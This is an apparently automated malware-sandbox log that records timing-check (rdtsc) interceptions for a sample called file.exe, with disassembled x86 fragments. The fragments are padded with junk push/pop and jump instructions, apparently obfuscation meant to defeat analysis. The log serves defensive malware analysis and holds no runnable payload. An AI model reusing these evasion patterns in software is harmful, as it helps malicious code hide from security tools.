Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0C68 second address: 4AC0CAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4EBC76D9FCh 0x00000009 and ax, 14D8h 0x0000000e jmp 00007F4EBC76D9FBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F4EBC76DA06h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0CAB second address: 4AC0CC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0CC8 second address: 4AC0CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0720 second address: 4AC075D instructions: 0x00000000 rdtsc 0x00000002 call 00007F4EBCE5EB98h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d mov dl, ah 0x0000000f call 00007F4EBCE5EB99h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC075D second address: 4AC07AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 jmp 00007F4EBC76D9FDh 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F4EBC76D9FCh 0x00000017 add eax, 5969A5A8h 0x0000001d jmp 00007F4EBC76D9FBh 0x00000022 popfd 0x00000023 mov si, E49Fh 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F4EBC76DA01h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC07AE second address: 4AC07EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4EBCE5EB97h 0x00000009 sub cx, D04Eh 0x0000000e jmp 00007F4EBCE5EB99h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0622 second address: 4AC065D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F4EBC76DA06h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 jmp 00007F4EBC76DA07h 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC065D second address: 4AC06AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4EBCE5EB8Dh 0x00000011 xor ecx, 1F6D5D76h 0x00000017 jmp 00007F4EBCE5EB91h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F4EBCE5EB90h 0x00000023 xor cl, FFFFFF98h 0x00000026 jmp 00007F4EBCE5EB8Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC039B second address: 4AC03A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC03A1 second address: 4AC03F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F4EBCE5EB94h 0x00000010 jmp 00007F4EBCE5EB92h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4EBCE5EB97h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC03F8 second address: 4AC040C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov edx, 71EFC776h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC040C second address: 4AC0410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0410 second address: 4AC0416 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0336 second address: 4AD033A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD033A second address: 4AD034E instructions: 0x00000000 rdtsc 0x00000002 mov dx, 4CC0h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov di, 74ECh 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD034E second address: 4AD0352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0352 second address: 4AD0358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0358 second address: 4AD03A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4EBCE5EB99h 0x00000011 and ecx, 1EE17E26h 0x00000017 jmp 00007F4EBCE5EB91h 0x0000001c popfd 0x0000001d popad 0x0000001e pop ebp 0x0000001f pushad 0x00000020 mov cx, C5F3h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1002C second address: 4B10113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007F4EBC76D9FEh 0x0000000b xor al, 00000048h 0x0000000e jmp 00007F4EBC76D9FBh 0x00000013 popfd 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F4EBC76D9FFh 0x0000001d sbb ch, FFFFFF8Eh 0x00000020 jmp 00007F4EBC76DA09h 0x00000025 popfd 0x00000026 push ecx 0x00000027 pushfd 0x00000028 jmp 00007F4EBC76DA07h 0x0000002d and al, FFFFFF9Eh 0x00000030 jmp 00007F4EBC76DA09h 0x00000035 popfd 0x00000036 pop eax 0x00000037 popad 0x00000038 xchg eax, ebp 0x00000039 jmp 00007F4EBC76DA07h 0x0000003e mov ebp, esp 0x00000040 pushad 0x00000041 jmp 00007F4EBC76DA04h 0x00000046 jmp 00007F4EBC76DA02h 0x0000004b popad 0x0000004c pop ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F4EBC76DA07h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0521 second address: 4AE0565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F4EBCE5EB8Dh 0x00000013 adc ah, FFFFFFD6h 0x00000016 jmp 00007F4EBCE5EB91h 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0565 second address: 4AE05DC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4EBC76DA00h 0x00000008 or ch, FFFFFFF8h 0x0000000b jmp 00007F4EBC76D9FBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F4EBC76D9FBh 0x0000001d mov ebp, esp 0x0000001f jmp 00007F4EBC76DA06h 0x00000024 mov eax, dword ptr [ebp+08h] 0x00000027 pushad 0x00000028 mov bx, cx 0x0000002b push eax 0x0000002c jmp 00007F4EBC76DA09h 0x00000031 pop eax 0x00000032 popad 0x00000033 and dword ptr [eax], 00000000h 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 mov esi, edi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0528 second address: 4AC052C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC052C second address: 4AC0532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0532 second address: 4AC0538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0538 second address: 4AC053C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0031 second address: 4AE0036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0036 second address: 4AE00AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F4EBC76DA03h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F4EBC76DA04h 0x00000016 and ch, FFFFFF98h 0x00000019 jmp 00007F4EBC76D9FBh 0x0000001e popfd 0x0000001f jmp 00007F4EBC76DA08h 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 pushad 0x00000027 mov eax, ebx 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F4EBC76DA02h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0325 second address: 4AE0329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0329 second address: 4AE0346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0346 second address: 4AE0356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBCE5EB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0356 second address: 4AE036E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4EBC76D9FDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE036E second address: 4AE0374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0374 second address: 4AE0378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0074D second address: 4B00760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00760 second address: 4B00766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00766 second address: 4B0076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0076A second address: 4B0082E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4EBC76DA07h 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 jmp 00007F4EBC76DA04h 0x00000016 mov si, 2B51h 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007F4EBC76DA07h 0x00000021 xchg eax, ecx 0x00000022 pushad 0x00000023 jmp 00007F4EBC76DA04h 0x00000028 pushad 0x00000029 call 00007F4EBC76DA00h 0x0000002e pop ecx 0x0000002f pushfd 0x00000030 jmp 00007F4EBC76D9FBh 0x00000035 xor ax, 8A4Eh 0x0000003a jmp 00007F4EBC76DA09h 0x0000003f popfd 0x00000040 popad 0x00000041 popad 0x00000042 mov eax, dword ptr [774365FCh] 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a mov cx, bx 0x0000004d jmp 00007F4EBC76D9FFh 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0082E second address: 4B008C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 3Ch 0x00000005 mov cx, CC37h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test eax, eax 0x0000000e pushad 0x0000000f mov cx, 0B2Fh 0x00000013 pushfd 0x00000014 jmp 00007F4EBCE5EB94h 0x00000019 jmp 00007F4EBCE5EB95h 0x0000001e popfd 0x0000001f popad 0x00000020 je 00007F4F2F711C7Fh 0x00000026 jmp 00007F4EBCE5EB8Eh 0x0000002b mov ecx, eax 0x0000002d jmp 00007F4EBCE5EB90h 0x00000032 xor eax, dword ptr [ebp+08h] 0x00000035 jmp 00007F4EBCE5EB91h 0x0000003a and ecx, 1Fh 0x0000003d jmp 00007F4EBCE5EB8Eh 0x00000042 ror eax, cl 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F4EBCE5EB8Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B008C8 second address: 4B008CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B008CE second address: 4B008D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B008D4 second address: 4B008D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B008D8 second address: 4B008DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B008DC second address: 4B008F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4EBC76D9FBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B008F2 second address: 4B0090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBCE5EB94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0090A second address: 4B00934 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f mov esi, eax 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 xor esi, dword ptr [00722014h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 call 00007F4EC0B8E254h 0x00000026 push FFFFFFFEh 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F4EBC76DA00h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00934 second address: 4B0093A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0093A second address: 4B0097F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F4EBC76DA00h 0x0000000f ret 0x00000010 nop 0x00000011 push eax 0x00000012 call 00007F4EC0B8E28Dh 0x00000017 mov edi, edi 0x00000019 jmp 00007F4EBC76DA00h 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F4EBC76D9FAh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0097F second address: 4B0098E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0098E second address: 4B00995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00995 second address: 4B00A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F4EBCE5EB8Eh 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f jmp 00007F4EBCE5EB8Eh 0x00000014 pushfd 0x00000015 jmp 00007F4EBCE5EB92h 0x0000001a adc al, FFFFFFE8h 0x0000001d jmp 00007F4EBCE5EB8Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F4EBCE5EB8Bh 0x0000002f sbb cx, C82Eh 0x00000034 jmp 00007F4EBCE5EB99h 0x00000039 popfd 0x0000003a mov ah, 72h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A11 second address: 4B00A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB002C second address: 4AB00E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4EBCE5EB95h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F4EBCE5EB91h 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 movzx eax, di 0x00000018 mov cl, bl 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d jmp 00007F4EBCE5EB90h 0x00000022 and esp, FFFFFFF8h 0x00000025 pushad 0x00000026 push ebx 0x00000027 jmp 00007F4EBCE5EB98h 0x0000002c pop eax 0x0000002d popad 0x0000002e push ebx 0x0000002f jmp 00007F4EBCE5EB8Eh 0x00000034 mov dword ptr [esp], ecx 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F4EBCE5EB8Eh 0x0000003e sbb eax, 41FFEE18h 0x00000044 jmp 00007F4EBCE5EB8Bh 0x00000049 popfd 0x0000004a mov di, cx 0x0000004d popad 0x0000004e xchg eax, ebx 0x0000004f pushad 0x00000050 jmp 00007F4EBCE5EB90h 0x00000055 push esi 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB00E1 second address: 4AB00FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 mov bx, DF8Eh 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 popad 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edi 0x00000017 pop esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB00FA second address: 4AB0100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0100 second address: 4AB0104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0104 second address: 4AB0167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b jmp 00007F4EBCE5EB95h 0x00000010 xchg eax, esi 0x00000011 pushad 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F4EBCE5EB99h 0x00000019 add eax, 0E3DD3D6h 0x0000001f jmp 00007F4EBCE5EB91h 0x00000024 popfd 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ah, D4h 0x0000002f movsx edi, si 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0167 second address: 4AB01C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F4EBC76DA06h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 mov bx, cx 0x00000016 pushfd 0x00000017 jmp 00007F4EBC76D9FAh 0x0000001c add ah, FFFFFFB8h 0x0000001f jmp 00007F4EBC76D9FBh 0x00000024 popfd 0x00000025 popad 0x00000026 xchg eax, edi 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB01C2 second address: 4AB01DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB01DD second address: 4AB02B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4EBC76DA07h 0x00000011 add si, 333Eh 0x00000016 jmp 00007F4EBC76DA09h 0x0000001b popfd 0x0000001c mov edx, eax 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 jmp 00007F4EBC76D9FAh 0x00000025 test esi, esi 0x00000027 pushad 0x00000028 movzx ecx, di 0x0000002b pushfd 0x0000002c jmp 00007F4EBC76DA03h 0x00000031 or ecx, 79E64DFEh 0x00000037 jmp 00007F4EBC76DA09h 0x0000003c popfd 0x0000003d popad 0x0000003e je 00007F4F2F06BD8Fh 0x00000044 jmp 00007F4EBC76D9FEh 0x00000049 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F4EBC76DA07h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB02B0 second address: 4AB02C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBCE5EB94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB02C8 second address: 4AB02F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F4F2F06BD48h 0x00000011 pushad 0x00000012 mov dx, cx 0x00000015 push esi 0x00000016 mov di, E882h 0x0000001a pop edi 0x0000001b popad 0x0000001c mov edx, dword ptr [esi+44h] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov eax, 64D66301h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB02F5 second address: 4AB02F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB02F9 second address: 4AB0324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 mov ecx, ebx 0x00000009 pop edi 0x0000000a popad 0x0000000b or edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F4EBC76DA07h 0x00000016 mov ah, 2Ah 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0324 second address: 4AB0339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBCE5EB91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0339 second address: 4AB0394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edx, 61000000h 0x00000011 jmp 00007F4EBC76D9FEh 0x00000016 jne 00007F4F2F06BD1Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F4EBC76D9FDh 0x00000025 sub al, 00000076h 0x00000028 jmp 00007F4EBC76DA01h 0x0000002d popfd 0x0000002e movzx ecx, di 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0394 second address: 4AB03B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBCE5EB99h 0x00000009 rdtsc
